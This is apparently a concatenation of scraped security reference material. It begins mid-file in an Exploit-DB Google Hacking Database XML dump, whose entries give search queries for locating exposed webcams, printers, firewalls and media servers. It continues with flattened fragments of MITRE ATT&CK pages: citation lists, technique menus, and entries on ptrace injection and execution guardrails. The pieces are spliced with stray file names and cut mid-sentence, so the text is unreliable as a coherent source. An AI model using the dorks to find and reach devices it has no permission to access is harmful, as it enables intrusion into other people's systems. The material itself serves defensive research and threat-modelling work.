Router New Generation" intext:"Status do AP Router"</querystring> <edb></edb> <date>2015-02-17</date> <author>anonymous</author> </entry> <entry> <id>1279</id> <link>https://www.exploit-db.com/ghdb/1279</link> <category>Various Online Devices</category> <shortDescription>intitle:"AR-*" "browser of frame dealing is necessary"</shortDescription> <textualDescription>A few Sharp printers ..</textualDescription> <query>intitle:"AR-*" "browser of frame dealing is necessary"</query> <querystring>https://www.google.com/search?q=intitle:%22AR-*%22+%22browser+of+frame+dealing+is+necessary%22&filter=0</querystring> <edb></edb> <date>2006-03-18</date> <author>anonymous</author> </entry> <entry> <id>757</id> <link>https://www.exploit-db.com/ghdb/757</link> <category>Various Online Devices</category> <shortDescription>intitle:"AudioReQuest.web.server"</shortDescription> <textualDescription>Audio ReQuest home CD/MP3 player. Various information about the configuration of the host and surrounding network can be found out by visiting the main page of this server. Beyond that, you could peruse someones MP3 collection!</textualDescription> <query>intitle:"AudioReQuest.web.server"</query> <querystring>https://www.google.com/search?q=intitle%3A%22AudioReQuest.web.server%22</querystring> <edb></edb> <date>2004-12-06</date> <author>anonymous</author> </entry> <entry> <id>1019</id> <link>https://www.exploit-db.com/ghdb/1019</link> <category>Various Online Devices</category> <shortDescription>intitle:"AXIS 240 Camera Server" intext:"server push" -help</shortDescription> <textualDescription>This search finds AXIS 240 Camera Servers (as opposed to just the cameras) which can host many cameras, that may not be found in other searches, since they are not necessarily IP based.</textualDescription> <query>intitle:"AXIS 240 Camera Server" intext:"server push" -help</query> <querystring>https://www.google.com/search?q=intitle:%22AXIS+240+Camera+Server%22+intext:%22server+push%22+-help&rls=org.mozilla:en-US:official&start=10&sa=N&filter=0</querystring> <edb></edb> <date>2005-06-10</date> <author>anonymous</author> </entry> <entry> <id>531</id> <link>https://www.exploit-db.com/ghdb/531</link> <category>Various Online Devices</category> <shortDescription>intitle:"axis storpoint CD" intitle:"ip address"</shortDescription> <textualDescription>Axis' network CD/DVD servers are faster, less costly and easier to manage than using full-blown file servers for networking CD/DVD collections. Any organization that relies heavily on CD/DVD-based information can benefit from an AXIS StorPoint CD+.</textualDescription> <query>intitle:"axis storpoint CD" intitle:"ip address"</query> <querystring>https://www.google.com/search?q=intitle:%22axis+storpoint+CD%22+intitle:%22ip+address%22&filter=0</querystring> <edb></edb> <date>2004-10-05</date> <author>anonymous</author> </entry> <entry> <id>1154</id> <link>https://www.exploit-db.com/ghdb/1154</link> <category>Various Online Devices</category> <shortDescription>intitle:"Biromsoft WebCam" -4.0 -serial -ask -crack -software -a -the -build -download -v4 -3.01 -numrange:1-10000</shortDescription> <textualDescription>Brimsoft webcam software enables anyone with a webcam to easily create a webcam http server. This googledork looks for these webcam servers.</textualDescription> <query>intitle:"Biromsoft WebCam" -4.0 -serial -ask -crack -software -a -the -build -download -v4 -3.01 -numrange:1-10000</query> <querystring>https://www.google.com/search?q=intitle:%22Biromsoft+WebCam%22+-4.0+-serial+-ask+-crack+-software+-a+-the+-build+-download+-v4+-3.01+-numrange:1-10000&num=100&c2coff=1&filter=0</querystring> <edb></edb> <date>2005-09-29</date> <author>anonymous</author> </entry> <entry> <id>7085</id> <link>https://www.exploit-db.com/ghdb/7085</link> <category>Various Online Devices</category> <shortDescription>intitle:"Blue Iris Remote View"</shortDescription> <textualDescription># Google Dork: intitle:"Blue Iris Remote View" # Various Online Devices # Date: 18/07/ # Exploit Author: J. Igor Melo</textualDescription> <query>intitle:"Blue Iris Remote View"</query> <querystring>https://www.google.com/search?q=intitle:"Blue Iris Remote View"</querystring> <edb></edb> <date>2021-08-23</date> <author>J. Igor Melo</author> </entry> <entry> <id>1394</id> <link>https://www.exploit-db.com/ghdb/1394</link> <category>Various Online Devices</category> <shortDescription>intitle:"BlueNet Video Viewer"</shortDescription> <textualDescription>Near broadcast quality video over the internet. A full 30fps at the 320 X 240 size. 12fps at the 640 X 480 size. The BlueNet video server will accept virtually any type of camera, wireless receivers, DVRs, multiplexes, etc. Display and access any security system live from anywhere in the world utilizing the web. All you need is an Internet browser to view the image. Uses ActiveX.</textualDescription> <query>intitle:"BlueNet Video Viewer"</query> <querystring>https://www.google.com/search?q=intitle:%22BlueNet+Video+Viewer%22&filter=0</querystring> <edb></edb> <date>2006-06-25</date> <author>anonymous</author> </entry> <entry> <id>346</id> <link>https://www.exploit-db.com/ghdb/346</link> <category>Various Online Devices</category> <shortDescription>intitle:"BorderManager Information alert"</shortDescription> <textualDescription>This is an Informational message produced by the Novell BorderManager firewall/proxy server. Attackers can located perimeter defence systems with this query.</textualDescription> <query>intitle:"BorderManager Information alert"</query> <querystring>https://www.google.com/search?q=intitle%3A%22BorderManager+Information+alert%22</querystring> <edb></edb> <date>2004-07-19</date> <author>anonymous</author> </entry> <entry> <id>904</id> <link>https://www.exploit-db.com/ghdb/904</link> <category>Various Online Devices</category> <shortDescription>intitle:"BorderWare MXtreme Mail Firewall Login"</shortDescription> <textualDescription>BorderWare MXtreme Mail firewallMXtreme is a hardened appliance with a highly
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Retrieved May 18, 2016. - Nicolas Verdier. (n.d.). Retrieved January 29, 2018. - Wikipedia. (1985, June 22). pwdump. Retrieved June 22, 2016. - MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. - Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018. - Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018. - Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016. - Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. - Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017. - Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016. - ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019. - Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016. - DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016. - Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. - Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018. - Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017. - Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016. - Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015. - Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017. - Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015. - Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014. - Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016. - NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016. - Corio, C., & Sayana, D. P. (2008, June). Application
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versions_v4_techniques_T1003.txt
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Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning DHCP Spoofing Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Network Provider DLL Multi-Factor Authentication Interception Multi-Factor Authentication Request Generation Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Authentication Certificates Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Chat Messages Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Information Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Cloud Storage Object Discovery Container and Resource Discovery Debugger Evasion Device Driver Discovery Domain Trust Discovery File and Directory Discovery Group Policy Discovery Network Service Discovery Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Location Discovery System Language Discovery System Network Configuration Discovery Internet Connection Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Cloud Services Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Collection Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning DHCP Spoofing Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Browser Session Hijacking Clipboard Data Data from Cloud Storage Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Code Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Fast Flux DNS Domain Generation Algorithms DNS Calculation Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Socket Filters Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Exfiltration to Text Storage Sites Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Drive-By Compromise Lockscreen Bypass Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Hardware Supply Chain Compromise Software Supply Chain Execution Command and Scripting Interpreter Unix Shell Native API Scheduled Task/Job Persistence Boot or Logon Initialization Scripts Compromise Application Executable Compromise Client Software Binary Event Triggered Execution Broadcast Receivers Foreground Persistence Hijack Execution Flow System Runtime API Hijacking Scheduled Task/Job Privilege Escalation Abuse Elevation Control Mechanism Device Administrator Permissions Exploitation for Privilege Escalation Process Injection Ptrace System Calls Defense Evasion Download New Code at Runtime Execution Guardrails Geofencing Foreground Persistence Hide Artifacts Suppress Application Icon User Evasion Hooking Impair Defenses Prevent Application Removal Device Lockout Disable or Modify Tools Indicator Removal on Host Uninstall Malicious Application File Deletion Disguise Root/Jailbreak Indicators Input Injection Native API Obfuscated Files or Information Steganography Software Packing Process Injection Ptrace System Calls Proxy Through Victim Subvert Trust Controls Code Signing Policy Modification Virtualization/Sandbox Evasion System Checks Credential Access Access Notifications Clipboard Data Credentials from Password Store Keychain Input Capture Keylogging GUI Input Capture Steal Application Access Token URI Hijacking Discovery File and Directory Discovery Location Tracking Remote Device Management Services Impersonate SS7 Nodes Network Service Scanning Process Discovery Software Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Exploitation of Remote Services Replication Through Removable Media Collection Access Notifications Adversary-in-the-Middle Archive Collected Data Audio Capture Call Control Clipboard Data Data from Local System Input Capture Keylogging GUI Input Capture Location Tracking Remote Device Management Services Impersonate SS7 Nodes Protected User Data Calendar Entries Call Log Contact List SMS Messages Screen Capture Stored Application Data Video Capture Command and Control Application Layer Protocol Web Protocols Call Control Dynamic Resolution Domain Generation Algorithms Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Ingress Tool Transfer Non-Standard Port Out of Band Data Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Exfiltration Over Alternative Protocol Exfiltration Over Unencrypted Non-C2 Protocol Exfiltration Over C2 Channel Impact Account Access Removal Call Control Data Encrypted for Impact Data Manipulation Transmitted Data Manipulation Endpoint Denial of Service Generate Traffic from Victim Input Injection Network Denial of Service SMS Control ICS Initial Access Drive-by Compromise Exploit Public-Facing Application Exploitation of Remote Services External Remote Services Internet Accessible Device Remote Services Replication Through Removable Media Rogue Master Spearphishing Attachment Supply Chain Compromise Transient Cyber Asset Wireless Compromise Execution Change Operating Mode Command-Line Interface Execution through API Graphical User Interface Hooking Modify Controller Tasking Native API Scripting User Execution Persistence Hardcoded Credentials Modify Program Module Firmware Project File Infection System Firmware Valid Accounts Privilege Escalation Exploitation for Privilege Escalation Hooking Evasion Change Operating Mode Exploitation for Evasion Indicator Removal on Host Masquerading Rootkit Spoof Reporting Message Discovery Network Connection Enumeration Network Sniffing Remote System Discovery Remote System Information Discovery Wireless Sniffing Lateral Movement Default Credentials Exploitation of Remote Services Hardcoded Credentials Lateral Tool Transfer Program Download Remote Services Valid Accounts Collection Adversary-in-the-Middle Automated Collection Data from Information Repositories Data from Local System Detect Operating Mode I/O Image Monitor Process State Point & Tag Identification Program Upload Screen Capture Wireless Sniffing Command and Control Commonly Used Port Connection Proxy Standard Application Layer Protocol Inhibit Response Function Activate Firmware Update Mode Alarm Suppression Block Command Message Block Reporting Message Block Serial COM Change Credential Data Destruction Denial of Service Device Restart/Shutdown Manipulate I/O Image Modify Alarm Settings Rootkit Service Stop System Firmware Impair Process Control Brute Force I/O Modify Parameter Module Firmware Spoof Reporting Message Unauthorized Command Message Impact Damage to Property Denial of Control Denial of View Loss of Availability Loss of Control Loss of Productivity and Revenue Loss of Protection Loss of Safety Loss of View Manipulation of Control Manipulation of View Theft of Operational Information - Home - Techniques - Enterprise - Process Injection - Ptrace System Calls Process Injection: Ptrace System Calls Other sub-techniques of Process Injection (12) ID Name T1055. Dynamic-link Library Injection T1055. Portable Executable Injection T1055. Thread Execution Hijacking T1055. Asynchronous Procedure Call T1055. Thread Local Storage T1055. Ptrace System Calls T1055. Proc Memory T1055. Extra Window Memory Injection T1055. Process Hollowing T1055. Process Doppelgänging T1055. VDSO Hijacking T1055. ListPlanting Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.[1] Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to
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versions_v13_techniques_T1055_008.txt
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Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Interception Multi-Factor Authentication Request Generation Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Cloud Storage Object Discovery Container and Resource Discovery Debugger Evasion Domain Trust Discovery File and Directory Discovery Group Policy Discovery Network Service Discovery Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Location Discovery System Language Discovery System Network Configuration Discovery Internet Connection Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Collection Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning DHCP Spoofing Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Browser Session Hijacking Clipboard Data Data from Cloud Storage Object Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Code Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Fast Flux DNS Domain Generation Algorithms DNS Calculation Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Drive-By Compromise Lockscreen Bypass Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Hardware Supply Chain Compromise Software Supply Chain Execution Command and Scripting Interpreter Unix Shell Native API Scheduled Task/Job Persistence Boot or Logon Initialization Scripts Compromise Application Executable Compromise Client Software Binary Event Triggered Execution Broadcast Receivers Foreground Persistence Hijack Execution Flow System Runtime API Hijacking Scheduled Task/Job Privilege Escalation Abuse Elevation Control Mechanism Device Administrator Permissions Exploitation for Privilege Escalation Process Injection Ptrace System Calls Defense Evasion Download New Code at Runtime Execution Guardrails Geofencing Foreground Persistence Hide Artifacts Suppress Application Icon User Evasion Hooking Impair Defenses Prevent Application Removal Device Lockout Disable or Modify Tools Indicator Removal on Host Uninstall Malicious Application File Deletion Disguise Root/Jailbreak Indicators Input Injection Native API Obfuscated Files or Information Steganography Software Packing Process Injection Ptrace System Calls Proxy Through Victim Subvert Trust Controls Code Signing Policy Modification Virtualization/Sandbox Evasion System Checks Credential Access Access Notifications Clipboard Data Credentials from Password Store Keychain Input Capture Keylogging GUI Input Capture Steal Application Access Token URI Hijacking Discovery File and Directory Discovery Location Tracking Remote Device Management Services Impersonate SS7 Nodes Network Service Scanning Process Discovery Software Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Exploitation of Remote Services Replication Through Removable Media Collection Access Notifications Adversary-in-the-Middle Archive Collected Data Audio Capture Call Control Clipboard Data Data from Local System Input Capture Keylogging GUI Input Capture Location Tracking Remote Device Management Services Impersonate SS7 Nodes Protected User Data Calendar Entries Call Log Contact List SMS Messages Screen Capture Stored Application Data Video Capture Command and Control Application Layer Protocol Web Protocols Call Control Dynamic Resolution Domain Generation Algorithms Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Ingress Tool Transfer Non-Standard Port Out of Band Data Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Exfiltration Over Alternative Protocol Exfiltration Over Unencrypted Non-C2 Protocol Exfiltration Over C2 Channel Impact Account Access Removal Call Control Data Encrypted for Impact Data Manipulation Transmitted Data Manipulation Endpoint Denial of Service Generate Traffic from Victim Input Injection Network Denial of Service SMS Control ICS Initial Access Drive-by Compromise Exploit Public-Facing Application Exploitation of Remote Services External Remote Services Internet Accessible Device Remote Services Replication Through Removable Media Rogue Master Spearphishing Attachment Supply Chain Compromise Transient Cyber Asset Wireless Compromise Execution Change Operating Mode Command-Line Interface Execution through API Graphical User Interface Hooking Modify Controller Tasking Native API Scripting User Execution Persistence Modify Program Module Firmware Project File Infection System Firmware Valid Accounts Privilege Escalation Exploitation for Privilege Escalation Hooking Evasion Change Operating Mode Exploitation for Evasion Indicator Removal on Host Masquerading Rootkit Spoof Reporting Message Discovery Network Connection Enumeration Network Sniffing Remote System Discovery Remote System Information Discovery Wireless Sniffing Lateral Movement Default Credentials Exploitation of Remote Services Lateral Tool Transfer Program Download Remote Services Valid Accounts Collection Automated Collection Data from Information Repositories Detect Operating Mode I/O Image Man in the Middle Monitor Process State Point & Tag Identification Program Upload Screen Capture Wireless Sniffing Command and Control Commonly Used Port Connection Proxy Standard Application Layer Protocol Inhibit Response Function Activate Firmware Update Mode Alarm Suppression Block Command Message Block Reporting Message Block Serial COM Data Destruction Denial of Service Device Restart/Shutdown Manipulate I/O Image Modify Alarm Settings Rootkit Service Stop System Firmware Impair Process Control Brute Force I/O Modify Parameter Module Firmware Spoof Reporting Message Unauthorized Command Message Impact Damage to Property Denial of Control Denial of View Loss of Availability Loss of Control Loss of Productivity and Revenue Loss of Protection Loss of Safety Loss of View Manipulation of Control Manipulation of View Theft of Operational Information - Home - Techniques - Mobile - Execution Guardrails Execution Guardrails Sub-techniques (1) ID Name T1627. Geofencing Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.[1] Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical System Checks. While use of System Checks may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. ID: T Sub-techniques: T1627. Tactic Type: Post-Adversary Device Access ⓘ Tactic: Defense Evasion ⓘ Platforms: Android, iOS Version: 1. Created: 30 March Last Modified: 11 April Version Permalink Live Version Mitigations ID Mitigation Description M Use Recent OS Version New OS releases frequently contain additional limitations or controls around device location access. M User Guidance Users should be advised to be extra scrutinous of applications that request location or sensitive phone information permissions, and to deny any permissions requests for applications they do not recognize. Detection Detecting the use of guardrails may be difficult depending on the implementation. Users can review which applications have location and sensitive phone information permissions
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versions_v11_techniques_T1627.txt
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Currently viewing ATT&CK v12.1 which was live between October 25, 2022 and April 24, 2023. Learn more about the versioning system or see the live site. ATT&CK v12 is now live! Check out the updates here TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Wordlist Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Code Repositories Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Serverless Compromise Accounts Social Media Accounts Email Accounts Cloud Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Serverless Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Cloud Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target SEO Poisoning Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange XPC Services Native API Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Serverless Execution Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Additional Email Delegate Permissions Additional Cloud Roles SSH Authorized Keys Device Registration BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Installer Packages External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Multi-Factor Authentication Hybrid Identity Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell IIS Components Terminal Services DLL Traffic Signaling Port Knocking Socket Filters Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make 